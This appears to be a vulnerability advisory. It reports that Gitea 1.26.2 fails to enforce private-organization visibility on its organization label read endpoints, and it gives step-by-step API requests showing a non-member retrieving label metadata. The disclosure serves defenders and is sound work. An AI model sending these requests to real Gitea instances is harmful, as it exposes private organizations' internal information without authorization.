OSV 1.4.0 · github-reviewed · 修改于 2026-07-22 05:46
发布时间
2026-07-22 05:46
GitHub 审查时间
2026-07-22 05:46
NVD 发布时间
2026-07-04 05:16
源文件
advisories/github-reviewed/2026/07/GHSA-v73x-hx65-6pf4/GHSA-v73x-hx65-6pf4.json
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
The following endpoints are affected:
GET /api/v1/orgs/{org}/labelsGET /api/v1/orgs/{org}/labels/{id}During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teamsGET /api/v1/orgs/{org}/hooksGET /api/v1/orgs/{org}/actions/secretscorrectly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
idnamedescriptioncolorurlWrite operations were tested separately and remained protected by authorization checks.
Create a private organization:
POST /api/v1/orgs
Authorization: token <owner_token>
{
"username": "target-org",
"visibility": "private"
}
Create a label:
POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>
{
"name": "internal-label",
"color": "#aabbcc",
"description": "private organization label"
}
Verify that the organization is not accessible to a non-member:
GET /api/v1/orgs/target-org
Authorization: token <non_member_token>
Response:
HTTP/1.1 404 Not Found
Request:
GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The response contains labels belonging to the private organization.
Request:
GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The full Label object is returned.
Request:
PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Response:
HTTP/1.1 403 Forbidden
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.